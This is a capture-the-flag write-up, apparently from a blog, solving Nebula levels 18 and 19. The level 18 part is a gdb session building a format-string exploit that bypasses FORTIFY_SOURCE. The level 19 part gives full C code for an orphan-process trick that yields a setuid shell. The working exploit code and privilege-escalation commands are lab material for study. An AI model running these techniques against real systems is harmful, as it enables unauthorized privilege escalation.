Breakpoint 1, 0x40068140 in vfprintf () from /lib/i386-linux-gnu/libc.so.6
(gdb) bt
#0  0x40068140 in vfprintf () from /lib/i386-linux-gnu/libc.so.6
#1  0x4006d09b in ?? () from /lib/i386-linux-gnu/libc.so.6
#2  0x40068383 in vfprintf () from /lib/i386-linux-gnu/libc.so.6
#3  0x4010e191 in __fprintf_chk () from /lib/i386-linux-gnu/libc.so.6
#4  0x08048d95 in notsupported ()
#5  0x08048b86 in main ()
(gdb) x/10i 0x4006d09b-16
   0x4006d08b: mov    %ecx,0x8(%esp)
   0x4006d08f: mov    %edx,0x4(%esp)
   0x4006d093: mov    %eax,(%esp)
   0x4006d096: call   0x40068130 <vfprintf>
   0x4006d09b: mov    0x38a0(%ebx),%ebp
   0x4006d0a1: test   %ebp,%ebp
   0x4006d0a3: mov    %eax,%edi
   0x4006d0a5: jne    0x4006d1c8
   0x4006d0ab: mov    -0x6c(%ebx),%eax
   0x4006d0b1: mov    %esi,0x20c4(%esp)
(gdb) x/x $eax
0xbfffef50: 0xfbad8004
(gdb) x/50x $eax
0xbfffef50: 0xfbad8004 0xbffff4e8 0x4006892c 0xbffff518
0xbfffef60: 0xbfffcf50 0xbfffcf50 0xbfffef50 0x00000000
0xbfffef70: 0x00000000 0x00000000 0x00000027 0x08049017
0xbfffef80: 0xfbad8004 0x00000000 0x00000000 0x00000004
###########################################################################
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x40069359 in vfprintf () from /lib/i386-linux-gnu/libc.so.6
(gdb) x/i $pc
=> 0x40069359 <vfprintf+4649>: movl   $0x0,(%edx,%eax,4)
fp->_flags2 is at 0xbfffef8c, then calculate the width argument needed to toggle off this.
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x40069359 in vfprintf () from /lib/i386-linux-gnu/libc.so.6

(gdb) p/d (0xbfffef8c-$edx)/4 + 1
$1 = 2848

site exec %1$*2848$ %1073741824$

(gdb) c
Continuing.
flag18: vfprintf.c:1823: _IO_vfprintf_internal: Assertion 's->_flags2 & 4' failed.

Program received signal SIGABRT, Aborted.
0x40020416 in __kernel_vsyscall ()
We got the width argument right, this causes the assert (s->_flags2 & _IO_FLAGS2_FORTIFY) to fail. Next we have to find the width argument to overwrite nargs.
nargs
(gdb) run -d format -vvv
Starting program: /home/flag18/flag18 -d asdf -vvv
site exec %1$*3735928559$x %1073741824$

Program received signal SIGSEGV, Segmentation fault.
0x4006927a in vfprintf () from /lib/i386-linux-gnu/libc.so.6

(gdb) x/i $pc
=> 0x4006927a >vfprintf+4426<: mov    %edx,0x8(%esp)
Search for nargs value in the stack. I found it in two locations, hit the right one. Then compute the required width argument
(gdb) set $x=0xbfff0000
(gdb) while(*++$x!=0xdeadbeef && $x<0xbffffffc)
 >end
(gdb) p/x $x
$5 = 0xbfffca88

(gdb) run -d format -vvv
Starting program: /home/flag18/flag18 -d format -vvv
site exec %1$*269208516$x %1073741824$

Program received signal SIGSEGV, Segmentation fault.
0x40069359 in vfprintf () from /lib/i386-linux-gnu/libc.so.6
(gdb) p/d (0xbfffca88-$edx)/4 + 1
$1 = 479

(gdb) run -d format -vvv
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/flag18/flag18 -d format -vvv
site exec %1$*479$ %1$*2848$ %1073741824$

Program received signal SIGSEGV, Segmentation fault.
0x40068cf0 in vfprintf () from /lib/i386-linux-gnu/libc.so.6
(gdb) x/i $eip
=> 0x40068cf0 <vfprintf+3008>: mov    (%ecx,%eax,4),%eax
(gdb) p/x $ecx+$eax*4
$6 = 0xc0004874
This is where I got stuck. After removing both flags, some computations are going beyond the stack segment and seg faults before returning from vfprintf. After a discussion in #io, the guys over there pointed out that it may be due to high base address of parameter list. So I decided to export a huge environment variable, this wil lower the stack address and SIGSEGV is avoided.
level18@nebula:/tmp$ export FORMA=`python -c 'print "A"*30000'`

(gdb) run -d format -vvv
Starting program: /home/flag18/flag18 -d format -vvv
site exec %1$*479$ %1$*2848$ %1073741824$
^C

Exploit
Now vfprintf returns without SIGSEGVing. As mentioned earlier we wil set globals.loggedin variable and then call the shell. globals.loggedin is at address 0x804b0b4. This address in .bss is not randomized even with ASLR set to 2. After messing up with FORTIFY_SOURCE I had problems locating the format string in stack using positional parameters. An easy workaround is to initialise stack with needed information as per this post Controlling uninitialized memory with LD_PRELOAD. We populate the stack with the address of globals.loggedin
level18@nebula:/tmp$ export LD_PRELOAD=`python -c 'print "B"*30000'`
(gdb) run -d format -vvv
Starting program: /home/flag18/flag18 -d format -vvv
site exec |%20$n| %1$*479$ %1$*2848$ %1073741824$

Program received signal SIGSEGV, Segmentation fault.
0x40072f00 in vfprintf () from /lib/i386-linux-gnu/libc.so.6
(gdb) x/i $eip
=> 0x40072f00 <vfprintf+11728>: mov    %edx,(%eax)
(gdb) p/x $eax
$1 = 0x42424242
(gdb) p/x $edx
$2 = 0x1


level18@nebula:/tmp$ export LD_PRELOAD=`python -c 'print "\xb4\xb0\x04\x08"*7500'`
level18@nebula:/tmp$ echo -e 'site exec |%20$x| %1$*479$ %1$*2848$ %1073741824$\r\n' | /home/flag18/flag18 -d format -v -v -v
level18@nebula:/tmp$ cat format
Starting up. Verbose level = 3
got [site exec |%20$x| %1$*479$ %1$*2848$ %1073741824$] as input
|804b0b4| %134525108%134525108 %got [] as input
We are almost done, with suitable bash options write into 0x804b0b4. As you can see bash displays the version info, using suitable options we can get an interactive priviledge shell to execute getflag. Im not going to discuss about it in this post.
level18@nebula:/tmp$ echo -e 'site exec |%20$n| %1$*479$ %1$*2848$ %1073741824$\r\nshell\r\n' | /home/flag18/flag18 --version -d format -v -v -v 2>/dev/null
GNU bash, version 4.2.10(1)-release (i686-pc-linux-gnu)
Copyright (C) 2011 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software; you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.

Monday, September 10, 2012

Exploit Exercise - Orphan Process and Race Condition

Lets see how to solve level [19] in Nebula. The code given checks whether its parent process is root using /proc entry.
int main(int argc, char **argv, char **envp)
{
 pid_t pid;
 char buf[256];
 struct stat statbuf;
 /* Get the parent's /proc entry, so we can verify its user id */
 snprintf(buf, sizeof(buf)-1, "/proc/%d", getppid());
 /* stat() it */
 if(stat(buf, &statbuf) == -1) {
  printf("Unable to check parent process\n");
  exit(EXIT_FAILURE);
 }
 /* check the owner id */
 if(statbuf.st_uid == 0) {
  /* If root started us, it is ok to start the shell */
  execve("/bin/sh", argv, envp);
  err(1, "Unable to execve");
 }
 printf("You are unauthorized to run this program\n");
}
This can be solved with little understanding about process management in linux. When a parent process exists before the child process returns, the child becomes an orphan process. It is inherited by init process with pid 1 and owned by root. We will use this concept for this challenge. The idea is to fork a child, put it into sleep. When the parent finishes execution, child(orphan) process calls execve() to execute the setuid flag19 binary.
exploit19.c

#include <stdio.h>
#include <unistd.h>

int main(void)
{
        pid_t child;
        char *file = "/home/flag19/flag19";
        char *arg[] = {"/bin/sh", NULL};
        child = fork();
        if(child == (pid_t) 0)
        {
                sleep(3);
                if(getppid() == (pid_t) 1)
                {
                printf("Orphan...\n");
                execve(file, NULL, NULL);
                }
        }
        else
                return 0;
}

I was expecting to get a privilege shell but that didnt happen. Everytime I ran the exploit, shell is launched but I was not able to interact with it.

level19@nebula:/tmp$ ps
  PID TTY          TIME CMD
 4951 pts/0    00:10:00 sh
 5300 pts/0    00:00:20 sh
 5323 pts/0    00:00:00 sh
 5327 pts/0    00:00:00 ps
level19@nebula:/tmp$ ./a.out
level19@nebula:/tmp$ Orphan....

level19@nebula:/tmp$ ps
  PID TTY          TIME CMD
 4951 pts/0    00:10:00 sh
 5300 pts/0    00:00:21 sh
 5323 pts/0    00:00:00 sh
 5329 pts/0    00:00:00 sh
 5330 pts/0    00:00:00 ps
level19@nebula:/tmp$
On googling, it seems that the shell launched from orphaned process cannot interact with a terminal. So we need a work around for this. This is the final exploit
exploit19.c

#include <stdio.h>
#include <unistd.h>

int main(void)
{
        pid_t child;
        char *file = "/home/flag19/flag19";
        char *arg[] = {"/bin/sh", "-c",
                       "gcc -o /tmp/sys /tmp/sys.c;chmod 4770 /tmp/sys", NULL};
        char *env[] = {"PATH=/bin:/usr/bin",NULL};
        child = fork();
        if(child == (pid_t) 0)
        {
                sleep(3);
                if(getppid() == (pid_t) 1)
                {
                printf("Orphan...\n");
                execve(file, arg, env);
                }
        }
        else
                return 0;
}
sys.c

int main(void)
{
        setresuid(geteuid(), geteuid(), geteuid());
        system("/bin/sh");
        return 0;
}


level19@nebula:/tmp$ gcc -o exploit19 exploit19.c
level19@nebula:/tmp$ ./exploit19
level19@nebula:/tmp$ Orphan...

level19@nebula:/tmp$ ./sys
sh-4.2$ id
uid=980(flag19) gid=1020(level19) groups=980(flag19),1020(level19)
sh-4.2$ getflag
You have successfully executed getflag on a target account
sh-4.2$